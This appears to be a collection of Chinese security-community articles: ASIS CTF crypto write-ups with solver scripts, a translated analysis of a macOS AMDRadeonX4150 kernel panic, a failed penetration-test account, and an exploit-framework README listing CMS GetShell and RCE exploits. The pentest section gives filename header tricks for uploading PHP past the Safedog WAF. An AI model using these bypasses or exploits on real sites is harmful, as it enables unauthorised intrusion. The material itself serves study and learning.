这样我们就直接求出了y在模r下的值，同理，我们可以求出`x_i`在模r下的值，这样我们就列出了一个关于y和`x_i`在模r下的方程，由于我们有l组数据，因此这样的方程我们共可以列出l个，把`b_i`看成未知数，得到的就是关于`b_i`的l元一次模线性方程组，该模线性方程组的解即为`flag`的二进制流，因此直接解该模线性方程组即可。
**解题脚本**
from Crypto.Util.number import *
f = open('flag.enc', 'rb').read()
f = f.split(b'\n')[1]
f = f.replace(b'[', b'').replace(b']', b'').replace(b'L', b'').split(b', ')
l = 359
as_list = []
a_list = [[] for _ in range(l)]
for i in range(len(f)):
if i % (l+1) == l:
as_list.append(int(f[i]))
continue
else:
a_list[i // (l+1)].append(int(f[i]))
enc = []
for i in range(l):
enc.append((a_list[i], as_list[i]))
p0 = 587934254364063975369377416367
r = 157
t = (p0 - 1) // r
assert (p0 - 1) % t == 0
dic = {}
for i in range(r):
dic.update({pow(pow(3, t, p0), i, p0) : i})
M = []
b = []
for i in range(l):
T = []
for j in range(l):
z_a = dic[Mod(pow(enc[i][0][j], t, p0), p0)]
T.append(Mod(z_a, r))
z_as = dic[Mod(pow(enc[i][1], t, p0), p0)]
M.append(T)
b.append(Mod(z_as, r))
M = Matrix(M)
b = vector(b)
flag_bin = M.solve_right(b)
flag = long_to_bytes(int(''.join([i for i in map(str, flag_bin)]), 2))
print(flag)
# ASIS{175_Lik3_Multivariabl3_LiNe4r_3QuA7i0n5}
## Dead Drop 2
**题目信息**
> I want to taste you again, like a secret or a sin.
> Drop it, I’m dead
>
> 209 pts, 17 solves
>
> [dead_drop_2.zip](https://github.com/ichunqiu-> resources/anquanke/raw/master/012/dead_drop_2.zip)
**解题思路**
本题还是沿用了Dead Drop 1一题的模型，我们直接把本题中的q看作上题中的`p_0`即可，其余思路均和上题一致。
**解题脚本**
from Crypto.Util.number import *
f = open('flag.enc', 'rb').read()
f = f.split(b'\n')[1]
f = f.replace(b'[', b'').replace(b']', b'').replace(b'L', b'').split(b', ')
l = 215
as_list = []
a_list = [[] for _ in range(len(f) // (l+1))]
for i in range(len(f)):
if i % (l+1) == l:
as_list.append(int(f[i]))
continue
else:
a_list[i // (l+1)].append(int(f[i]))
enc = []
for i in range(len(f) // (l+1)):
enc.append((a_list[i], as_list[i]))
q = 39485091642302322462443783940079058526663151328744488399920207767
r = 397
t = (q - 1) // r
assert (q - 1) % t == 0
dic = {}
for i in range(r):
dic.update({pow(pow(3, t, q), i, q) : i})
M = []
b = []
for i in range(l):
T = []
for j in range(l):
z_a = dic[Mod(pow(enc[i][0][j], t, q), q)]
T.append(Mod(z_a, r))
z_as = dic[Mod(pow(enc[i][1], t, q), q)]
M.append(T)
b.append(Mod(z_as, r))
M = Matrix(M)
b = vector(b)
flag_bin = M.solve_right(b)
flag = b"flag{" + long_to_bytes(int(''.join([i for i in map(str, flag_bin)]), 2)) + b'}'
print(flag)
# flag{Z_q_iZ_n0T_a_DDH_h4rD_9r0uP}
## Jazzy
**题目信息**
> Jazzy in the real world, but it’s flashy and showy!
> nc 76.74.178.201 31337
>
> 119 pts, 36 solves
**解题思路**
nc到服务器上后服务器展示给选手菜单如下：
------------------------------------------------------------------------ | ..:: Jazzy semantically secure cryptosystem ::.. |
| Try to break this cryptosystem and find the flag! |
------------------------------------------------------------------------ | Options: |
| [E]ncryption function |
| [F]lag (encrypted)! |
| [P]ublic key |
| [D]ecryption oracle |
| [Q]uit |
|----------------------------------------------------------------------|
输入“E”拿到加密函数源码如下：
def encrypt(msg, pubkey):
h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1 # dirty log :/
m = bytes_to_long(msg)
if len(bin(m)[2:]) % h != 0:
m = '0' * (h - len(bin(m)[2:]) % h) + bin(m)[2:]
else:
m = bin(m)[2:]
t = len(m) // h
M = [m[h*i:h*i+h] for i in range(t)]
r = random.randint(1, pubkey)
s_0 = pow(r, 2, pubkey)
C = []
for i in range(t):
s_i = pow(s_0, 2, pubkey)
k = bin(s_i)[2:][-h:]
c = bin(int(M[i], 2) ^ int(k, 2))[2:].zfill(h)
C.append(c)
s_0 = s_i
enc = int(''.join(C), 2)
return (enc, pow(s_i, 2, pubkey))
可以看到题目实现了一个Blum-Goldwasser概率公钥密码体制的加密函数，该加密方式使用Blum-Blum-Shub伪随机数生成算法来产出密钥流。
我们输入“F”可以拿到`flag`的密文：
F
encrypt(flag, pubkey) = (104972271242839281756758190817353189671079864957194083204020330124090873093534127488372355616625828743144757887625958045787714737582951019266611928740809907242924589328275033353098515059544694565823799475217633923557357540319210284410150958946855641375942332652505255035655419692822757L, 5883596561316190474382177490418469615572460141194909287402341244582040495460516154208860326457094210637788425831802068523863763449812689218691410964441338070657770209173951613204821054523350043165965943057900603264650015352646204374731854090909433204281420550107029576093895650885787152234634894724494432033747199881699869384874007678945115890136723236776767611754228405596517759873333249232820897258324066360057522710710110600293940928301886981042661513103978117253922400113480988449614362037399326475356109629381023245487694845863268010842940276343784846923442148452647532890584363678308925299220515823196513324699L)
输入“P”可以拿到公钥：
P
pubkey = 27232296696706977514566448751666084413522639121220581766188898073124742484283380993174091100179428934544646420995742560436515794096254661036806067514034027493697898384019054273649258597568814936998372268617337345061885563425934488908805711719515906851436585430352341990476591339447291521966296125686710775131057300712094532855970243058977132371024512515462220561783900679244435679560234935480978627509174995881061341940458445491296973409417582619357984325474438361836318756381673242703902895535926275985306525593219282056556804164358905234179162754534147391459785627434518845709983884052342074221004036207785840888173
输入“D”可以使用服务器提供的解密ORACLE，但是不能解密`flag`的密文（实际上我们提交的要解密的内容中不能含有`flag`的密文这个二元组中的任何一项）：
D
| send an pair of integers, like (c, x), that you want to decrypt:
(104972271242839281756758190817353189671079864957194083204020330124090873093534127488372355616625828743144757887625958045787714737582951019266611928740809907242924589328275033353098515059544694565823799475217633923557357540319210284410150958946855641375942332652505255035655419692822757, 5883596561316190474382177490418469615572460141194909287402341244582040495460516154208860326457094210637788425831802068523863763449812689218691410964441338070657770209173951613204821054523350043165965943057900603264650015352646204374731854090909433204281420550107029576093895650885787152234634894724494432033747199881699869384874007678945115890136723236776767611754228405596517759873333249232820897258324066360057522710710110600293940928301886981042661513103978117253922400113480988449614362037399326475356109629381023245487694845863268010842940276343784846923442148452647532890584363678308925299220515823196513324699)
| this decryption is NOT allowed :P
但是我们可以绕过服务器的这一限制，根据Blum-Goldwasser的加密方式，我们可以将`flag`的密文再扩展一轮，设`flag`的密文为`(flag_enc,
s)`，则扩展后的密文为`(flag_enc_padded, ss)`，其中：
flag_enc_padded = int(bin(flag_enc)[2:] + '0'*h, 2)
ss = pow(s, 2, pubkey)
向解密ORACLE提交扩展后的密文来得到其对应的明文，然后去掉明文的二进制比特流的后h位即可得到`flag`的二进制流。
**解题脚本**
from pwn import *
from Crypto.Util.number import *
r = remote("76.74.178.201", 31337)
_ = r.recv()
r.sendline('F')
_ = r.recvuntil("encrypt(flag, pubkey) = ")
st = r.recvline().strip().replace(b'(', b'').replace(b')', b'').replace(b'L', b'').split(b',')
flag_enc = int(st[0])
s = int(st[1])
r.sendline('P')
_ = r.recvuntil("pubkey = ")
st = r.recvline().strip()
pubkey = int(st)
h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1
flag_enc_padded = int(bin(flag_enc)[2:] + '0'*h, 2)
ss = pow(s, 2, pubkey)
r.sendline('D')
_ = r.recvuntil("decrypt: \n")
r.sendline(str((flag_enc_padded, ss)))
_ = r.recvuntil("is: ")
st = r.recvline().strip()
pt = int(st)
flag = long_to_bytes(int(bin(pt)[2:-h], 2))
print(flag)
# ASIS{BlUM_G0ldwaS53R_cryptOsySt3M_Iz_HI9hlY_vUlNEr4bl3_70_CCA!?}
## Crazy
**题目信息**
> Look at you kids with your vintage music
> Comin’ through satellites while cruisin’
> You’re part of the past, but now you’re the future
> Signals crossing can get confusing
> It’s enough just to make you feel crazy, crazy, crazy
> Sometimes, it’s enough just to make you feel crazy…
>
> 150 pts, 27 solves
>
> [crazy.zip](https://github.com/ichunqiu-> resources/anquanke/raw/master/012/crazy.zip)
**解题思路**
本题还是沿用了Jazzy一题的模型，只不过在Jazzy一题中`encrypt`函数的异或操作的基础上又引入了按位与一个未知的`xorkey`的操作，同时本题不再提供解密ORACLE，而是给出了若干公钥以及使用这些公钥对`flag`加密后的密文。
由于本题没有提供更多信息，我们只能从已有信息中去进行尝试，经过对题目中给出的若干公钥进行分析，发现其中有公钥之间存在公因子，因此可以利用模不互素攻击来求出私钥，求出私钥后按照Blum-Goldwasser体制的解密方式进行解密即可，注意本题虽然还引入了按位与一个未知的`xorkey`的操作，但是在进行按位与时`xorkey`实际上只有低h位参与了运算，而在本题中h=10，即`xorkey`一共只有1024种可能的值，因此直接进行爆破即可。
**解题脚本**
import gmpy2
from Crypto.Util.number import *
f = open("output.txt", 'rb').read().split(b'\n')[:-1]
pk_list = []
enc_list = []
for i in f:
st = i.replace(b'(', b'').replace(b')', b'').replace(b'L', b'').replace(b', ', b' ').split(b' ')
pk_list.append(int(st[0]))
enc_list.append((int(st[1]), int(st[2])))
known = 0
for i in pk_list:
if known == 1:
break
for j in pk_list:
if gmpy2.gcd(i, j) != 1 and i != j:
p = gmpy2.gcd(i, j)
q = i//p
n = p*q
known = 1
break
ct = enc_list[pk_list.index(n)]
def decrypt(c, s, pubkey, p, q):
h = len(bin(len(bin(pubkey)[2:]))[2:]) - 1
if len(bin(c)[2:]) % h != 0:
c = '0' * (h - len(bin(c)[2:]) % h) + bin(c)[2:]
else:
c = bin(c)[2:]
t = len(c) // h
a_1 = (((p + 1) // 4)**(t + 1)) % (p - 1)
a_2 = (((q + 1) // 4)**(t + 1)) % (q - 1)
b_1 = pow(s, a_1, p)
b_2 = pow(s, a_2, q)
_, a, b = gmpy2.gcdext(p, q)
C = [c[h*i:h*i+h] for i in range(t)]
flag_list = []
for xorkey in range(2**10):
s_0 = (b_2 * a * p + b_1 * b * q ) % pubkey
M = []
for i in range(t):
s_i = pow(s_0, 2, pubkey)
k = bin(s_i)[2:][-h:]
m = bin(int(C[i], 2) ^ int(k, 2) & xorkey)[2:].zfill(h)
M.append(m)
s_0 = s_i
msg = long_to_bytes(int(''.join(M),2))
if b"ASIS{" in msg:
flag_list.append(msg)
return flag_list
flag_list = decrypt(ct[0], ct[1], n, p, q)
for i in flag_list:
print(i)
# ASIS{1N_h0nOr_oF__Lenore__C4r0l_Blum} | 社区文章 |
# 苹果AMDRadeonX4150内核中竟有一个未被修复的漏洞？
|
##### 译文声明
本文是翻译文章，文章原作者 objective-see，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x27.html>
译文仅供参考，具体内容表达以及含义原文为准。
> 苹果的AMDRadeonX4150 kext竟然会触发一个内核漏洞？这又是为何？
## 写在前面的话
在2018年的1月21日，我在ShmooCon跟大家演讲了关于“OpenBSM审计”方面的内容，感兴趣的同学可以回顾一下我的演讲文稿【[传送门](http://shmoocon.org/speakers/#theugly)】。
我当时在准备演讲内容的过程中，其实也就是期间休息的时候，我对自己的New
MacBook进行了一番安全分析。而在几分钟之后，我的苹果笔记本竟然奇迹般地崩溃了。这就非常奇怪了，因为我只是在用户模式下进行的操作。但是这确实让我非常兴奋，因为谁不想发现一个macOS的内核漏洞呢？
那么在这篇文章中，我将会跟大家分析内核panic报告，并尝试找到引发内核panic的直接原因以及错误指令。从表面上看，可能这个漏洞并不能向我们展示出非常有价值的安全问题，从某种程度上来说这还算是幸运的了。但对于某些比较精通内核安全以及显卡kext的人来说，他们也许可以利用这个漏洞来实现更多的东西。无论怎样，我希望在这篇文章中可以通过分析内核panic报告来给大家提供一些有价值的思路。
## 分析内核panic情况
首先，我们一起来了解一下目标设备的系统信息：
##### macOS版本：10.13.2
$ uname -a
Darwin Patricks-MacBook-Pro.local 17.3.0 Darwin Kernel Version 17.3.0:
root:xnu-4570.31.3~1/RELEASE_X86_64 x86_6
##### 内核panic报告：
$ /Library/Logs/DiagnosticReports/Kernel_2018-01-15-185538_Patricks-MacBook-Pro.panic
内核panic报告的部分内容如下所示，如需获取完整的内核panic报告，请点击【[这里](https://objective-see.com/downloads/Kernel_%20AMDRadeonX4150.panic)】：
$ less Kernel_2018-01-15-185538_Patricks-MacBook-Pro.panic
*** Panic Report ***
panic(cpu 6 caller 0xffffff8008b6f2e9): Kernel trap at 0xffffff7f8c7ba8b1, type 14=page fault
registers:
CR0: 0x000000008001003b, CR2: 0xffffff80639b8000, CR3: 0x0000000022202000, CR4: 0x00000000003627e0
RAX: 0x0000000000000564, RBX: 0x0000000000000564, RCX: 0x0000000000000020, RDX: 0x000000000000002a
RSP: 0xffffff92354ebc80, RBP: 0xffffff92354ebce0, RSI: 0x00000000000fbeab, RDI: 0xffffff92487b9154
R8: 0x0000000000000000, R9: 0x0000000000000010, R10: 0x0000000000000010, R11: 0x0000000000000000
R12: 0xffffff80639b6a70, R13: 0xffffff92354ebdc0, R14: 0xffffff92354ebdd4, R15: 0x0000000000000000
RFL: 0x0000000000010297, RIP: 0xffffff7f8c7ba8b1, CS: 0x0000000000000008, SS: 0x0000000000000010
Fault CR2: 0xffffff80639b8000, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 1
Backtrace (CPU 6), Frame : Return Address
0xffffff92354eb730 : 0xffffff8008a505f6
0xffffff92354eb780 : 0xffffff8008b7d604
0xffffff92354eb7c0 : 0xffffff8008b6f0f9
0xffffff92354eb840 : 0xffffff8008a02120
....
Kernel Extensions in backtrace:
com.apple.iokit.IOAcceleratorFamily2(376.6) @0xffffff7f8b2b0000->0xffffff7f8b345fff
com.apple.kext.AMDRadeonX4150(1.6) @0xffffff7f8c7b4000->0xffffff7f8cf20fff
BSD process name corresponding to current thread: kernel_task
Mac OS version:
17C88
Kernel version:
Darwin Kernel Version 17.3.0: Thu Nov 9 18:09:22 PST 2017; root:xnu-4570.31.3~1/RELEASE_X86_64
Kernel slide: 0x0000000008600000
没错，panic报告中确实包含了很多信息，但是这些信息就是可以帮助我们立刻定位到内核崩溃原因的必要信息。
我们先从报告的第二行内容（第一行是标题）开始分析：
panic(cpu 6 caller 0xffffff8008b6f2e9): Kernel trap at 0xffffff7f8c7ba8b1, type 14=page fault
内核panic报告的第二行信息告诉我们，系统之所以会出现panic，主要是由一个页面错误（‘type 14=page
fault’）所导致的。而这种错误通常代表的是一次无效的读取操作或者是向内存中未映射页面的写入操作，这部分内容我们待会儿再讲。请大家先注意报告中RIP的值，这个寄存器（即程序计数器）中存储的就是错误指令的地址：0xffffff7f8c7ba8b1。
顺着这条信息往下分析，我们就会发现内核panic报告中包含了访问和触发页面错误的内存地址：0xffffff80639b8000。
Fault CR2: 0xffffff80639b8000, Error code: 0x0000000000000000, Fault CPU: 0x6 ...
除此之外，Panic报告中还包含了回溯信息（backtrace），这样一来我们就可以跟踪方法调用或函数调用的顺序。并进一步确定错误指令的执行情况：
Backtrace (CPU 6), Frame : Return Address
0xffffff92354eb730 : 0xffffff8008a505f6
0xffffff92354eb780 : 0xffffff8008b7d604
0xffffff92354eb7c0 : 0xffffff8008b6f0f9
0xffffff92354eb840 : 0xffffff8008a02120
0xffffff92354eb860 : 0xffffff8008a5002c
0xffffff92354eb990 : 0xffffff8008a4fdac
0xffffff92354eb9f0 : 0xffffff8008b6f2e9
0xffffff92354ebb70 : 0xffffff8008a02120
0xffffff92354ebb90 : 0xffffff7f8c7ba8b1
0xffffff92354ebce0 : 0xffffff7f8c7ba40f
0xffffff92354ebd60 : 0xffffff7f8c7b85e8
0xffffff92354ebda0 : 0xffffff7f8c7b9db2
0xffffff92354ebe00 : 0xffffff7f8b2b3873
0xffffff92354ebe50 : 0xffffff7f8b2bd473
0xffffff92354ebe90 : 0xffffff7f8b2bcc7d
0xffffff92354ebed0 : 0xffffff8009091395
0xffffff92354ebf30 : 0xffffff800908fba2
0xffffff92354ebf70 : 0xffffff800908f1dc
0xffffff92354ebfa0 : 0xffffff8008a014f7
一旦我们确定了这些地址所属的kext，我们就能够映射出实际被调用的函数名称。根据回溯信息所提供的内容，panic报告中还包含了内核扩展以及相应的加载地址。这也就意味着，上述地址中的某一条很可能包含了触发页面错误并导致内核panic的指令，大致内容如下：
1. kext: com.apple.iokit.IOAcceleratorFamily2
地址：0xffffff7f8b2b0000
2. kext: com.apple.kext.AMDRadeonX4150
地址：0xffffff7f8c7b4000
在panic报告的结尾部分还包含一些“看似无用“的元数据（对我们来说可能没多大意义），例如内核版本信息等等。但是，其中的Kernel
Slide(0x0000000008600000)是比较重要的，因为它包含了内核镜像信息以及转移到内存中的数据。
那么接下来，我们总结一下我们从内核panic报告中收集到的数据：
1. 内核panic是由一个页面错误访问内存地址0xffffff80639b8000所导致的。
2. 触发页面错误的指令其地址（存储在RIP寄存器中）为：0xffffff7f8c7ba8b1。
3. 回溯信息中包含了com.apple.iokit.IOAcceleratorFamily2和com.apple.kext.AMDRadeonX4150这两个kext。
4. Kernel slide：0x0000000008600000。
为了进一步确定触发内核panic的指令，我们需要对kext进行分析。
首先我们从panic报告底部最后那条地址开始着手，将其从/System/Library/Kernels/kernel加载进Hoppe反汇编工具之中。由于kASLR会将内核转移进内存之中，我们需要在Hopper中修改镜像的基地址。
点击“Modify“（修改）按钮，然后点击”Change File Base Address“（修改文件基地址）。输入panic报告中kASLR
slide的值（0x0000000008600000），最后再在这个地址值上加0x100000，得到最终的地址(0xffffff8008700000)：
重新设置好内核镜像的地址之后，按下“G“，并输入回溯信息中的最后一个地址：0xffffff8008a014f7。
我们可以从下列反汇编信息中看到，这个地址映射出的指令调用情况如下所示：
当CPU遇到上述这些调用函数之后，它会在栈中保存下一条指令的地址。这样一来，CPU就可以知道指令的调用情况以及返回值信息。当内核在生成panic报告时，它会通过遍历栈并寻找这些存储的地址来生成回溯信息。
因此，当我们遇到例如0xffffff8008a014f7的回溯地址时，调用指令会立刻处理这个地址，而这个地址指向的就是存在安全问题的指令。比如说，当我们调用rcx（地址0xffffff8008a014f5）时，便会让内核发生崩溃。
接下来，我们继续分析回溯信息，并得到了最终导致内核崩溃的命令调用序列：
1. kernel.call_continuation()
0xffffff8008a014f5 call rcx
2. kernel.IOWorkLoop::threadMain()
0xffffff800908f1d6 call qword [rax+0x1a8]
3. kernel.IOWorkLoop::runEventSources()
0xffffff800908fb9c call qword [rax+0x120]
4. kernel.IOInterruptEventSource::checkForWork()
0xffffff8009091392 call r11
5. com.apple.iokit.IOAcceleratorFamily2.IOAccelEventMachine2::hardwareErrorEvent()
0xffffff7f8b2bcc78 call IOAccelEventMachine2::restart_channel()
6. com.apple.iokit.IOAcceleratorFamily2.IOAccelEventMachine2::restart_channel()
0xffffff7f8b2bd46d call qword [rax+0x160]
7. com.apple.iokit.IOAcceleratorFamily2.IOAccelFIFOChannel2::restart()
0xffffff7f8b2b386d call qword [rax+0x208]
8. com.apple.kext.AMDRadeonX4150.AMDRadeonX4150_AMDAccelChannel::getHardwareDiagnosisReport()
0xffffff7f8c7b9dac call qword [rax+0xb00]
9. com.apple.kext.AMDRadeonX4150.AMDRadeonX4150_AMDGraphicsAccelerator::writeDiagnosisReport()
0xffffff7f8c7b85e2 call qword [rax+0x258]
10. com.apple.kext.AMDRadeonX4150.AMDRadeonX4150_AMDAccelChannel::writeDiagnosisReport()
0xffffff7f8c7ba40a call
AMDRadeonX4150_AMDAccelChannel::writePendingCommandInfo
11. com.apple.kext.AMDRadeonX4150.AMDRadeonX4150_AMDAccelChannel::writePendingCommandInfoDiagnosisReport()
0xffffff7f8c7ba8b1 mov r8d, dword [r12+rax*4]
12. kernel.hndl_alltraps()
0xffffff8008a0211b call _kernel_trap
这样一来，我们就能够更加清楚地了解到导致内核panic的错误指令情况了。
经过了一系列分析之后，我们还发现了一个内核线程，它会调用com.apple.iokit.IOAcceleratorFamily2
kext来处理一个与硬件有关的错误。
这个kext（即com.apple.iokit.IOAcceleratorFamily2）会调用restart_channel方法。而这个方法又会调用一个特定的kext，即com.apple.kext.AMDRadeonX4150。而这个kext就是我笔记本电脑AMD
Radeon Pro560显卡的接口：
在panic报告生成的过程中，系统还会生成一份硬件诊断报告。说得准确一点，此时com.apple.kext.AMDRadeonX4150会调用它的AMDRadeonX4150_AMDAccelChannel::writeDiagnosisReport方法，而这个方法又会调用writePendingCommandInfoDiagnosisReport方法。
聪明的同学可能已经注意到了回溯信息中的第十一条地址（转移指令）：
0xffffff7f8c7ba8b1 mov r8d, dword [r12+rax*4]
除此之外，我们还发现这个地址0xffffff7f8c7ba8b1同样存在于苹果的com.apple.kext.AMDRadeonX4150
kext之中，而这个值正好跟内核panic报告中RIP寄存器所存储的值相匹配。需要注意的是，这个转移指令正好就是引起内核panic的指令。
那么现在，我们已经找到了导致页面错误的指令了（以及相应的路径令牌）。在对这个指令进行深入分析之后，我们可以看到指令会通过向基址寄存器添加某些值（RAX*4）来计算出地址（R12）。接下来，R8d会间接引用这个地址。由于内核panic报告中包含了这个错误指令在运行时寄存器中的值，我们就可以重新计算出这个地址：
$ less Kernel_2018-01-15-185538_Patricks-MacBook-Pro.panic
registers:
CR0: 0x000000008001003b, CR2: 0xffffff80639b8000, ...
RAX: 0x0000000000000564, RBX: 0x0000000000000564, ...
RSP: 0xffffff92354ebc80, RBP: 0xffffff92354ebce0, ...
R8: 0x0000000000000000, R9: 0x0000000000000010, ...
R12: 0xffffff80639b6a70, R13: 0xffffff92354ebdc0, ...
RFL: 0x0000000000010297, RIP: 0xffffff7f8c7ba8b1, ...
mov r8d, dword [r12+rax*4]
R12: 0xffffff80639b6a70
RAX: 0x0000000000000564
R12 + RAX*4 = 0xffffff80639b6a70 + (0x564 * 4) = 0xffffff80639b8000
重新计算出的地址值0xffffff80639b8000是不是看着有些眼熟？没错，这个地址就是当程序访问并触发页面错误时，内核panic报告中内存地址的值：
Fault CR2: 0xffffff80639b8000, Error code: 0x0000000000000000, Fault CPU: 0x6 ...
根据我们的推测，地址0xffffff80639b8000很可能就是未映射页面的起始地址。因此，当com.apple.kext.AMDRadeonX4150
kext中的mov指令尝试从未映射的地址中读取数据时，就会触发页面错误并导致系统进入panic状态。
所以说，我们现在已经知道了触发内核panic的准确原因以及指令了。但是，我们现在还不知道为什么会出现这样的情况，也就是说，我现在还不确定为什么系统会计算出一个无效的地址。深入研究之后，我总结出了现在需要回答的问题：
1. 是因为基地址指针无效还是崩溃了？
2. 或者说，是因为偏移量寄存器RAX存储的是一个无效的偏移量（太大）？
3. 还是说，这只是一种随机出现的硬件问题（或是其他的某种原因）？
众所周知，图形驱动程序的逆向分析工作极其复杂，需要花费相当多的时间和努力才能够对其“略知一二“。但是我认为，我们也许可以从这里入手来尝试防止这种内核panic出现。比如说，我们也许可以通过确保偏移量寄存器RAX的值在一个合理区间（缓冲区大小）来解决这个问题。
在本文所分析的例子中，内核panic是因为计算出的地址值0xffffff80639b8000指向了内核内存中未映射的页面所导致的。但是，如果这个地址（有效地址）指向的是映射页面呢？首先，内核panic将不会在发生；其次，我们也许能够将内核内存信息泄露到用户模式下，并实现kASLR绕过。
还记得吗？之前存在问题的指令会尝试间接引用R8寄存器中的dword值，而调用了几个函数之后，它还会调用snprintf函数：
ffffff7f8c7ba8af mov eax, eax
ffffff7f8c7ba8b1 mov r8d, dword [r12+rax*4] ;faulting instruction
ffffff7f8c7ba8b5 xor eax, eax
ffffff7f8c7ba8b7 lea rdx, qword [aC08x] ; "%c%08x"
ffffff7f8c7ba8be call 0xffffff7f198091e8 ; snprintf
snprintf的标准函数形式以及调用参数如下（R8是第五个参数）：
int snprintf(char *str, size_t size, const char *format, ...);
由于指令会使用格式化字符串“%c%08x”来调用snprintf函数，而第五个参数将会映射到“%08x“。这样一来，R8寄存器中的整形值将会被写入到缓冲区中。因此，浙江有可能导致将随机内存数据泄露到诊断报告之中。
## 总结
在这篇文章中，我们对macOS的一份内核panic报告进行了分析，并研究了导致panic出现的原因。简而言之，当com.apple.kext.AMDRadeonX4150
kext尝试访问一个指向未映射页面的内存地址时，便会触发内存panic。
不过令人沮丧的是，目前为止苹果还没有为macOS推送最新版本的内核扩展补丁。 | 社区文章 |
**0x00**
记录一次授权渗透失败的getshell，虽然最后还是没能成功的getshell，但是渗透过程中脚本工具的使用以及使用习惯，绕waf方法还是值得和大家分享
**0x01**
摸进分站，功能是提供保修服务，有文件上传点，看插件得出：脚本语言是php web服务器是IIS7.5（存在解析漏洞
插件名为：wappalyzer Google插件商店下载，查看网站的信息比较方便
内心os：存在上传点，还是7.5的 ，感觉有戏呀！！
**0x02**
选一张php的图片码，传上去 burp抓包 尝试后缀 .jpg .php 分别如图
上传 .jpg 成功返回路径，能正常访问到
上传.php，可恶，被waf拦截
**0x03**
使用工具wafw00f检测waf类型
wafw00f下载链接：<https://github.com/EnableSecurity/wafw00f>
wafw00f 安装使用文章<https://blog.csdn.net/memery_key/article/details/106364834>
个人习惯写一个bat脚本放在用户目录下面，通过命令行直接使用工具 或者进入工具文件夹以及提供用法，提示省去找用法以及找工具的时间，比较方便，安利一下
经过wafw00f的检测，得知了是安全狗
**0x04**
安全狗的绕过，常有下列三种方法
a). ===绕过
Content-Disposition ： from-data； name="upload" ; filename==="microfan.php"
b). 去除""绕过
Content-Disposition ： from-data； name="upload" ; filename=microfan.php
c). 少"绕过
Content-Disposition ： from-data； name="upload" ; filename="microfan.php
我尝试了三种，第一种 ===绕过 ，成功绕过了
可是，返回的不是我心爱的地址，而是——图片格式不对
之后分辨尝试了 php345 ，phtml ，phtm 都不行，可见后端是白名单，果断放弃了
最后尝试使用IIS7.5 存在的解析漏洞,已经被修复了，最终以失败告终
**总结**
最后还是没能拿到shell，但是渗透过程中的插件与检测waf的工具，以及个人使用工具的习惯想分享一下；失败是成功他妈，遇见白名单就果断放弃，next~ | 社区文章 |
# Exploit-Framework
一个 Python 写的漏洞利用框架, 造了一个轮子
使用方式和 Metaspliot-Framework 类似
不知道各位大佬有木有兴趣一起玩一玩
可以给它增加更多的利用脚本或者新功能
#### Exploits:
Vendor | Vulnerability | Effected Version | Description | Author
---|---|---|---|---
[zblog](https://www.zblogcn.com/zblogphp/) |
[NOT_CVE](https://gist.github.com/WangYihang/318020687b7e5f1efb38e9afd40c941b)
| <=1.5.1 | Zblog Authenticated LFI |
[@Shutdown_r](http://www.jianshu.com/u/0876d51c215f)
[OpenSNS](http://www.opensns.cn/) | [NOT_CVE](http://0day5.com/archives/4280/)
| <=3.31 | OpenSNS UnAuthenticated GetShell |
[@90sec](https://forum.90sec.org/)
[Joomla](https://www.joomla.org/) |
[CVE-2015-8562](https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html) | 1.5<3.45 | Joomla HTTP Header Unauthenticated RCE |
[@Andrew McNicol](https://github.com/anarcoder)
[Codiad](https://github.com/Codiad/Codiad) |
[CVE-2017-11366](https://nvd.nist.gov/vuln/detail/CVE-2017-11366) | <=2.8.3 |
Codiad Authenticated RCE | [@WangYihang](https://github.com/wangyihang)
[Codiad](https://github.com/Codiad/Codiad) |
[CVE-2014-9581](https://nvd.nist.gov/vuln/detail/CVE-2014-9581) | <=2.4.3 |
Codiad Authenticated LFI | [@TaurusOmar](https://www.exploit-db.com/author/?a=7716)
[SeaCMS](http://www.seacms.net) |
[CVE-2017-17561](https://nvd.nist.gov/vuln/detail/CVE-2017-17561) | <=6.56 |
SeaCMS Authenticated GetShell | [@WangYihang](https://github.com/wangyihang)
[SeaCMS](http://www.seacms.net) | [NOT_CVE](http://0day5.com/archives/4180/) |
<=6.28 | SeaCMS UnAuthenticated RCE | [@没穿底裤](http://0day5.com/author/1/)
#### Video:
[
#### WIKI:
> <https://github.com/WangYihang/Exploit-Framework/wiki>
#### Contribution:
> [1\. Guidance of writing exploit
> module](https://github.com/WangYihang/Exploit-Framework/wiki/Contributing-> to-Exploit-Framework)
#### TODO:
* [ ] 解析字符串
* [ ] 深层模块化
* [ ] 上下文栈维护
* [ ] 日志
* [ ] 自动补全
* [ ] Exploit 搜索
* [ ] Wiki
* [ ] Exploit 规范
* [ ] 维护 Reverse Shell (结合 Reverse-Shell-Manager)
* [ ] Payload 模块
* [ ] 免杀模块
* [ ] 维护一句话木马 (结合 Webshell-Sniper)
* [ ] 数据库
#### 贡献漏洞利用脚本流程:
假设已经发现了某个 CMS 的漏洞, 可以 GetShell
可以使用如下流程来完成 Payload 的编写
例如 CMS 名称为 SniperCMS
并且该漏洞已经拿到了 CVE-ID 为 CVE-2017-6666
1. Fork该仓库
2. 在仓库目录下: ROOT/exploit/ 创建文件夹: snipercms
3. 在 ROOT/exploit/snipercms/ 下创建 Python 文件: cve_2017_6666.py (注意分隔符为下划线)
4. 将下面代码拷贝到该文件中
5. 根据漏洞利用方式, 修改类 Exploit 中 config 这个变量
6. 修改 Exploit 类的 show_info 函数, 填写入漏洞的相关信息
7. 实现 Exploit 类的 exploit 函数, 在该函数中完成核心漏洞利用
8. (可选) 如果可以 GetShell, 可以在 exploit 函数完成漏洞利用之后, 调用 Exploit 类的 interactive 函数实现获取一个伪终端
9. 测试成功之后, Push 到 GitHub 之后, 即可在 GitHub 发起 Pull Request
漏洞模块位于: `ROOT/exploit/[Vendor]/[Exploit-Name]`
其中 Vendor 为厂商名称, 如某CMS存在漏洞, Vendor即CMS名称, 英文小写
Exploit-Name 为漏洞名称, 纯英文小写, 尽量保持精炼简洁, 该文件为该漏洞的利用脚本
该文件模板如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
try:
from core.log import Log
from core.log import color
except Exception as e:
import sys
sys.path.append("../../core/log")
from Log import Log
from Log import color
class Exploit:
# 定义该漏洞利用的配置信息
# 备注:
# necessity 表示该参数是否必须配置
# default 为该参数的默认值
config = {
"remote_host": {"default": "127.0.0.1", "necessity": True},
"remote_port": {"default": 80, "necessity": True},
